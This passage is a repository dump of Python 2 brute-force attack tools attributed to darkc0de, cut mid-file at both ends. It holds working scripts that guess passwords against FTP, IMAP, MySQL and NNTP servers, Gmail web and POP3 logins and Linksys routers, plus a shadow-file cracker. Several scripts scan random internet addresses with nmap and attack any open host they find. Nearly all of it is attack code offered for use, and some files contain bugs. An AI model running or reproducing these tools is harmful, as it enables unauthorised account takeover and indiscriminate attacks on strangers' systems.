		print "\t\nAnonymous login successful!!!\n"
		ftp.quit()
	except (ftplib.all_errors): 
		print "\tAnonymous login unsuccessful\n"
	for user in users:
		for i in range(len(words)):
			if i == 0: reloader()
			work = Workhorse()
			work.start()
			time.sleep(1)


================================================
FILE: ftpbrute_random.py
================================================
#!usr/bin/python
#Uses nmap or socket to check if ftp is open on a random ip. If
#the server is found it will check for anonymous login and then
#continue to bruteforce. It also can save successful logins
#to an external file.

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, ftplib, re, socket
from ftplib import FTP

def rand():
	a = random.randrange(255) + 1
	b = random.randrange(255) + 1
	c = random.randrange(255) + 1
	d = random.randrange(255) + 1
	ip = "%d.%d.%d.%d" % (a,b,c,d)
	return ip

def timer():
	now = time.localtime(time.time())
	return time.asctime(now)

def nmapscan():
	
	#Change this to your nmap preferences
	nmap = "nmap -P0 -iR 1 -p 21 | grep open -B 3"
	nmap = StringIO.StringIO(commands.getstatusoutput(nmap)[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:    		
			return ipaddr
		
def servscan():
	
	ipaddr = rand()
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.settimeout(5)
		s.connect((ipaddr, 21))
		s.close() 
		return ipaddr
	except socket.error:
		pass
		
def workhorse(ipaddr, user, word):
	user = user.replace("\n","")
	word = word.replace("\n","")
	try:
		print "-"*12
		print "User:",user,"Password:",word
		ftp = FTP(ipaddr)
		ftp.login(user, word)
		ftp.retrlines('LIST')
		print "\t\n[!] Login successful:",user, word
		if txt != None:
			save_file.writelines(user+" : "+word+" @ "+ipaddr+":21\n")
		ftp.quit()
		sys.exit(2)
	except (ftplib.all_errors), msg: 
		#print "[-] An error occurred:", msg
		pass
		
def brute(ipaddr):
	print "-"*30
	print "\n[+] Attempting BruteForce:",ipaddr,"\n"
	try:
		f = FTP(ipaddr)
		print "[+] Response:",f.getwelcome()
	except (ftplib.all_errors):
		pass
	try:
		print "\n[+] Checking for anonymous login:",ipaddr,"\n"
		ftp = FTP(ipaddr)
		ftp.login()
		ftp.retrlines('LIST')
		print "\t\n[!] Anonymous login successful!!!\n"
		if txt != None:
			save_file.writelines("Anonymous:"+ipaddr+":21\n")
		ftp.quit()
	except (ftplib.all_errors): 
		print "[-] Anonymous login unsuccessful\n"
	for user in users:
		for word in words:
			work = threading.Thread(target = workhorse, args=(ipaddr, user, word)).start()
			time.sleep(1)

if len(sys.argv) not in [4,5,6,7]:
	print "\nUsage: ./randftpbf.py <how many to scan> <userlist> <wordlist> <options>"
	print "\t[option]"
	print "\t   -nmap/-n : Uses sockets instead of nmap to find open ports"
	print "\t   -save/-s <file> : Save Successful Logins"
	print "\nExample: ./randftpbf.py 10000 users.txt words.txt -nmap -save hits.txt\n"
	sys.exit(0)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "[-] Error: Check your userlist path\n"
  	sys.exit(1)
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "[-] Error: Check your wordlist path\n"
  	sys.exit(1)
	
for arg in sys.argv[1:]:
	if arg.lower() == "-nmap" or arg.lower() == "-n":
		nmap = 1
	if arg.lower() == "-save" or arg.lower() == "-s":
		txt = sys.argv[int(sys.argv[1:].index(arg))+2]

print "\n\t   d3hydr8[at]gmail[dot]com RandomftpBF v1.1"
print "\t-----------------------------------------------\n"
print "[+] Scanning:",sys.argv[1],"hosts"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

try:
	if txt:
		save_file = open(txt, "a")
		print "[+] Save File:",txt
except(NameError):
	txt = None
	print "[-] Saving Mode Off"
	
print "[+] Scan Started:",timer()		
try:
	if nmap == 1:
		print "[+] Socket Scan Mode\n"
		for x in xrange(int(sys.argv[1])):
			print "[-]",x+1,"of",sys.argv[1]
			#Change this limit for faster results.
			time.sleep(3)
			ipaddr = servscan()
			if ipaddr != None:
				brute(ipaddr)
		print "\n[+] Scan Complete:",timer()
	else:
		print "\n[-] Error: Check your options\n"
		sys.exit(1)
except(NameError):
	print "[+] Nmap Mode\n"
	for x in xrange(int(sys.argv[1])):
		print "[-]",x+1,"of",sys.argv[1]
		#Change this limit for faster results.
		time.sleep(3)
		ipaddr = nmapscan()
		if ipaddr != None:
			brute(ipaddr[0])
	print "\n[+] Scan Complete:",timer()




================================================
FILE: ftpbrute_random1.0.py
================================================
#!usr/bin/python
#Uses nmap to check if ftp port is open, brute forces if it is.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, ftplib, re
from ftplib import FTP
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./ftpbrute.py <how many to scan> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1],"hosts"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def scan():
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 21 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:    		
			return ipaddr

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "Reloading Wordlist\n"
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			ftp = FTP(ipaddr[0])
			ftp.login(user[:-1], value)
			ftp.retrlines('LIST')
			print "\t\nLogin successful:",user, value
			ftp.quit()
			work.join()
			sys.exit(2)
		except (ftplib.all_errors), msg: 
			print "An error occurred:", msg
			pass

for x in range(int(sys.argv[1])):
	print "Scanning:",x,"of",sys.argv[1]
	ipaddr = scan()
	if ipaddr != None:
		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
		try:
			f = FTP(ipaddr[0])
			print "[+] Response:",f.getwelcome()
		except (ftplib.all_errors):
			pass
		try:
			print "\n[+] Checking for anonymous login:",ipaddr[0],"\n"
			ftp = FTP(ipaddr[0])
			ftp.login()
			ftp.retrlines('LIST')
			print "\t\nAnonymous login successful!!!\n"
			ftp.quit()
		except (ftplib.all_errors): 
			print "\tAnonymous login unsuccessful\n"
		for user in users:
			for i in range(len(words)):
				if i == 0: reloader()
				work = Workhorse()
				work.start()
				time.sleep(2)



================================================
FILE: gmailbrute.py
================================================
#!usr/bin/python
#Gmail Brute Forcer
#To use this script you need ClientCookie and Client Form.
#http://wwwsearch.sourceforge.net/ClientCookie/src/ClientCookie-1.0.3.tar.gz
#http://wwwsearch.sourceforge.net/ClientForm/src/ClientForm-0.1.17.tar.gz
#To install the package, run the following command:
#python setup.py build
#then (with appropriate permissions)
#python setup.py install

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, socket, httplib, re
try:
	sys.path.append('ClientCookie-1.0.3')
	import ClientCookie
	sys.path.append('ClientForm-0.1.17')
	import ClientForm
except(ImportError):
	print "\nTo use this script you need ClientCookie and Client Form."
	print "Read the top intro for instructions.\n"
	sys.exit(1)
from copy import copy

if len(sys.argv) !=3:
	print "Usage: ./gmailbrute.py <user> <wordlist>"
	sys.exit(1)

try:
  	words = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com GmailBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server: https://www.gmail.com/"
print "[+] User:",sys.argv[1]
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "Reloading Wordlist\n"
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0]
		
class Worker(threading.Thread):
	
	def run(self):
		global success
		value = getword()
		try:
			print "-"*12
			print "User:",sys.argv[1],"Password:",value
			cookieJar = ClientCookie.CookieJar()
			opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
			opener.addheaders = [("User-agent","Mozilla/5.0 (compatible)")]
			ClientCookie.install_opener(opener)
			fp = ClientCookie.urlopen("https://www.gmail.com/")
			forms = ClientForm.ParseResponse(fp)
			form = forms[0]
			form["Email"]  = sys.argv[1] 
			form["Passwd"] = value      
			fp = ClientCookie.urlopen(form.click())
			site = fp.readlines()
			for line in site:
				if re.search("Gmail - Inbox", line):
					print "\tSuccessful Login:", value
					success =  value
					sys.exit(1)
			fp.close()
		except(socket.gaierror), msg: 
			pass
 
for i in range(len(words)):
	work = Worker()
	work.start()
	time.sleep(1)
time.sleep(3)
try:
	if success:
		print "\n\n[+] Successful Login: https://www.gmail.com/"
		print "[+] User:",sys.argv[1]," Password:",success
except(NameError):
	print "\n[+] Couldn't find correct password"
	pass
print "\n[+] Done\n"


================================================
FILE: gmailpopbrute.py
================================================
#!usr/bin/python
#Gmail Pop3 Brute Forcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
	print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
	print "\t   --------------------------------------------------\n"
	print "\t    Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
	sys.exit(1)
	
server = "pop.gmail.com"
success = []

try:
  	users = open(sys.argv[1], "r").readlines()
except(IOError): 
  	print "[-] Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "[-] Error: Check your wordlist path\n"
  	sys.exit(1)
	
try:
	pop = poplib.POP3_SSL(server, 995)
	welcome = pop.getwelcome()
	pop.quit()
except (poplib.error_proto): 
	welcome = "No Response"
	pass

print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t   --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "[-] Reloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		users.remove(users[0])
		
	lock.release()
	if len(users) ==1:
		return value[0], users[0]
	else:
		return value[0], users[0]
		
class Worker(threading.Thread):
	
	def run(self):
		value, user = getword()
		user = user.replace("\n","")
		value = value.replace("\n","")
		
		try:
			print "-"*12
			print "[+] User:",user,"Password:",value
			pop = poplib.POP3_SSL(server, 995)
			pop.user(user)
			pop.pass_(value)
			print "\t\t\n\nLogin successful:",user, value
			print "\t\tMail:",pop.stat()[0],"emails"
			print "\t\tSize:",pop.stat()[1],"bytes\n\n"
			success.append(user)
			success.append(value)
			success.append(pop.stat()[0])
			success.append(pop.stat()[1])
			pop.quit()
		except (poplib.error_proto), msg: 
			#print "An error occurred:", msg
			pass
 
for i in range(len(words)*len(users)):
	work = Worker()
	work.start()
	time.sleep(1)
if len(success) >=1:
	print "\n\n[+] Login successful:",success[0], success[1]
	print "\t[+] Mail:",success[2],"emails"
	print "\t[+] Size:",success[3],"bytes\n"
print "\n[-] Done"

================================================
FILE: imapbrute.py
================================================
#!usr/bin/python
#IMAP Brute Forcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, imaplib, socket
from imaplib import IMAP4
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./imapbrute.py <server> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com imapBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])		
	else:
		print "\nReloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		users.remove(users[0])
		
	lock.release()
	if len(users) ==1:
		return value[0][:-1], users[0]
	else:
		return value[0][:-1], users[0][:-1]
		
class Worker(threading.Thread):
	
	def run(self):
		value, user = getword()
		try:
			print "-"*12
			print "User:",user,"Password:",value
			M = imaplib.IMAP4(sys.argv[1])
			M = login(user, value)
			print "\t\nLogin successful:",user, value 
			M.close()
			M.logout()
			work.join()
			sys.exit(2)
		except(IMAP4.error, socket.gaierror, socket.error, socket.herror), msg: 
			print "An error occurred:", msg
			pass
 
for i in range(len(words)*len(users)):
	work = Worker()
	work.start()
	time.sleep(1)


================================================
FILE: imapbrute_iprange.py
================================================
#!usr/bin/python
#IMAP Brute Forcer, searches ip_range for hosts using imap.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, imaplib, re, socket
from imaplib import IMAP4
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./imapbrute.py <ip_range> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com imapBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

	iprange = sys.argv[1]
	ip_list = []
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:
	    		ip_list.append(ipaddr[0])
	return ip_list

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			M = imaplib.IMAP4(ip)
			M = login(user[:-1], value)
			print "\t\nLogin successful:",user, value
			M.close()
			M.logout()
			work.join()
			sys.exit(2)
		except(IMAP4.error, socket.gaierror, socket.error, socket.herror), msg: 
			print "An error occurred:", msg
			pass
 
ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
	print "\n\tAttempting BruteForce:",ip,"\n"
	for user in users:
		for i in range(len(words)):
			if i == 0: reloader()
			work = Workhorse()
			work.start()
			time.sleep(1)


================================================
FILE: imapbrute_random.py
================================================
#!usr/bin/python
#Uses nmap to check if imap port is open, brute forces if it is.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, imaplib, re, socket
from imaplib import IMAP4
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./imapbrute.py <how many to scan> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com imapBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1],"hosts"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def scan():
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 143 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:    		
			return ipaddr

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "Reloading Wordlist\n"
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			M = imaplib.IMAP4(ipaddr[0])
			M = login(user[:-1], value)
			print "\t\nLogin successful:",user, value
			M.close()
			M.logout()
			work.join()
			sys.exit(2)
		except(IMAP4.error, socket.gaierror, socket.error, socket.herror), msg: 
			print "An error occurred:", msg
			pass

for x in range(int(sys.argv[1])):
	print "Scanning:",x,"of",sys.argv[1]
	ipaddr = scan()
	if ipaddr != None:
		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
		for user in users:
			for i in range(len(words)):
				if i == 0: reloader()
				work = Workhorse()
				work.start()
				time.sleep(2)



================================================
FILE: linksysbrute.py
================================================
#!usr/bin/python
#Linksys WRT54G router brute force
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, urllib2, socket

if len(sys.argv) !=4:
	print "Usage: ./linksysbrute.py <server> <user> <wordlist>"
	sys.exit(1)

try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

username = sys.argv[2]

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])		
	lock.release()
	return value[0][:-1] 

def getauth(url):
	
	req = urllib2.Request(url)
	try:
    		handle = urllib2.urlopen(req)
	except IOError, e:                  
    		pass
	authline = e.headers.get('www-authenticate', '')
	server = e.headers.get('server', '')
	return authline, server
			
class Worker(threading.Thread):
	
	def run(self):
		password = getword()
		try:
			print "-"*12
			print "User:",username,"Password:",password
			req = urllib2.Request(sys.argv[1])
			passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
			passman.add_password(None, sys.argv[1], username, password)
			authhandler = urllib2.HTTPBasicAuthHandler(passman)
			opener = urllib2.build_opener(authhandler)
			fd = opener.open(req)
			print "\t\n\n[+] Login successful: Username:",username,"Password:",password,"\n"			
			print "[+] Retrieved", fd.geturl()
			info = fd.info()
			for key, value in info.items():
    				print "%s = %s" % (key, value)
			sys.exit(2)
		except (urllib2.HTTPError,socket.error):
			pass

print "\n\t   d3hydr8[at]gmail[dot]com LinksysBrute v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] User:",username
print "[+] Words Loaded:",len(words)
try:
	auth, server = getauth(sys.argv[1])
except(AttributeError):
	print "\n[-] Connection Failure\n"
	sys.exit(1)
if auth.find("WRT54G") == -1:
	print "[-] WRT54G Router not found"
print "[+] Server:",server
print "[+]",auth,"\n"

for i in range(len(words)):
	work = Worker()
	work.setDaemon(1)
	work.start()
	time.sleep(1)


================================================
FILE: locbrute.py
================================================
#!/usr/bin/python
#Local account brute forcer.
#(You need to be able to read shadow file)

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys, crypt, spwd
if len(sys.argv) != 3:
	print "\nUsage: ./locbrute.py <user> <wordlist>"
	print "Ex: ./locbrute.py root words.txt\n"
	sys.exit(1)

print "\nAccounts with encrypted passwords:\n"
users = spwd.getspall()
for user in users:
	if user[1] not in ["*","!"]: 
		print user[:2]
try:
	words = open(sys.argv[2], "r").readlines()
except(IOError):
	print "\n[-] Error: Couldn't open wordlist\n"
	sys.exit(1)
print "\n[+] Words Loaded:",len(words)
try:
	passwd = spwd.getspnam(sys.argv[1])[1]
except(KeyError):
	print "\n[-] User not found. Check list above\n"
	sys.exit(1)
print "[+] Cracking:",passwd
for word in words:
	word = word.replace("\n","")
	if crypt.crypt(word, passwd) == passwd:
		print "\n[!] Cracked: [ ",word," ]\n"
		sys.exit(1)
print "\n[-] Couldn't find match\n"
	




	
	





================================================
FILE: mysqlbrute.py
================================================
#!usr/bin/python
#MySQL Brute Forcer
#You need the MySQLdb package found here:
#http://sourceforge.net/projects/mysql-python

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys
from copy import copy

try:
	import MySQLdb
except(ImportError):
	print "\nYou need the MySQLdb package found here: http://sourceforge.net/projects/mysql-python\n"
	sys.exit(1)

if len(sys.argv) !=6:
	print "Usage: ./mysqlbrute.py <server> <port> <database> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[4], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[5], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com MySQLBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Port:",sys.argv[2]
print "[+] Database:",sys.argv[3]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])		
	else:
		print "\nReloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		users.remove(users[0])
		
	lock.release()
	if len(users) ==1:
		return value[0][:-1], users[0]
	else:
		return value[0][:-1], users[0][:-1]
		
class Worker(threading.Thread):
	
	def run(self):
		value, user = getword()
		try:
			print "-"*12
			print "User:",user,"Password:",value
			db=MySQLdb.connect(host=sys.argv[1],user=user,passwd=value,db=sys.argv[3],port=int(sys.argv[2]))
			print "\t\nLogin successful:",value, user
			db.close()
			work.join()
			sys.exit(2)
		except(MySQLdb.Error), msg: 
			#print "An error occurred:", msg
			pass
 
for i in range(len(words)*len(users)):
	work = Worker()
	work.start()
	time.sleep(1)


================================================
FILE: mysqlbrute_iprange.py
================================================
#!usr/bin/python
#MySQL Brute Forcer, searches ip_range for hosts using MySQL.
#You need the MySQLdb package found here:
#http://sourceforge.net/projects/mysql-python

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, re
from copy import copy

try:
	import MySQLdb
except(ImportError):
	print "\nYou need the MySQLdb package found here: http://sourceforge.net/projects/mysql-python\n"
	sys.exit(1)
	
if len(sys.argv) !=4:
	print "Usage: ./mysqlbrute_iprange.py <ip_range> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com MySQLBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

	iprange = sys.argv[1]
	ip_list = []
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 3306 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:
	    		ip_list.append(ipaddr[0])
	return ip_list

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			db=MySQLdb.connect(host=ip,user=user,passwd=value)
			print "\t\nLogin successful:",user, value
			db.close()
			work.join()
			sys.exit(2)
		except(MySQLdb.Error), msg: 
			#print "An error occurred:", msg
			pass
 
ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
	print "\n\tAttempting BruteForce:",ip,"\n"
	for user in users:
		for i in range(len(words)):
			if i == 0: reloader()
			work = Workhorse()
			work.start()
			time.sleep(1)


================================================
FILE: mysqlbrute_random.py
================================================
#!usr/bin/python
#Uses nmap to check if MySQL port is open, brute forces if it is.
#You need the MySQLdb package found here:
#http://sourceforge.net/projects/mysql-python

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, re
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./mysqlbrute_random.py <how many to scan> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[2], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com MySQLBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1],"hosts"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def scan():
	
	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 3306 | grep open -B 3')[1]).readlines()
	
	for tmp in nmap:
		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
		if ipaddr:    		
			return ipaddr

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])
		
	else:
		print "Reloading Wordlist\n"
		reloader()
		value = random.sample(words,  1)
		
	lock.release()
	return value[0][:-1]
		
class Workhorse(threading.Thread):
	
	def run(self):
		value = getword()
		try:
			print "-"*12
			print "User:",user[:-1],"Password:",value
			db=MySQLdb.connect(host=ipaddr[0],user=user,passwd=value)
			print "\t\nLogin successful:",user, value
			db.close()
			work.join()
			sys.exit(2)
		except(MySQLdb.Error), msg: 
			#print "An error occurred:", msg
			pass

for x in range(int(sys.argv[1])):
	print "Scanning:",x,"of",sys.argv[1]
	ipaddr = scan()
	if ipaddr != None:
		print "\n\tAttempting BruteForce:",ipaddr[0],"\n"
		for user in users:
			for i in range(len(words)):
				if i == 0: reloader()
				work = Workhorse()
				work.start()
				time.sleep(2)



================================================
FILE: nntpbrute.py
================================================
#!usr/bin/python
#NNTP Brute Forcer

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, nntplib, socket
from nntplib import NNTP
from copy import copy

if len(sys.argv) !=5:
	print "Usage: ./nntpbrute.py <server> <port> <userlist> <wordlist>"
	sys.exit(1)

try:
  	users = open(sys.argv[3], "r").readlines()
except(IOError): 
  	print "Error: Check your userlist path\n"
  	sys.exit(1)
  
try:
  	words = open(sys.argv[4], "r").readlines()
except(IOError): 
  	print "Error: Check your wordlist path\n"
  	sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com nntpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

try:
	n = nntplib.NNTP(sys.argv[1],int(sys.argv[2]))
	print "[+] Response:",n.getwelcome(),"\n"
	n.quit()
except(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror):
	pass

wordlist = copy(words)

def reloader():
	for word in wordlist:
		words.append(word)

def getword():
	lock = threading.Lock()
	lock.acquire()
	if len(words) != 0:
		value = random.sample(words,  1)
		words.remove(value[0])		
	else:
		print "\nReloading Wordlist - Changing User\n"
		reloader()
		value = random.sample(words,  1)
		users.remove(users[0])
		
	lock.release()
	if len(users) ==1:
		return value[0][:-1], users[0]
	else:
		return value[0][:-1], users[0][:-1]
		
class Worker(threading.Thread):
	
	def run(self):
		value, user = getword()
		try:
			print "-"*12
			print "User:",user,"Password:",value
			n = nntplib.NNTP(sys.argv[1],int(sys.argv[2]),user,value)
			print "\t\nLogin successful:",value, user
			n.quit()
			work.join()
			sys.exit(2)
		except(nntplib.NNTPError, socket.gaierror, socket.error, socket.herror), msg: 
			print "An error occurred:", msg
			pass
 
for i in range(len(words)*len(users)):
	work = Worker()
	work.start()
	time.sleep(1)


================================================
FILE: nntpbrute_iprange.py
================================================
#!usr/bin/python
#NNTP Brute Forcer, searches ip_range for hosts using nntp.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, nntplib, re, socket
from nntplib import NNTP
from copy import copy

if len(sys.argv) !=4:
	print "Usage: ./ftpbrute.py <ip_range> <userlist> <wordlist>"
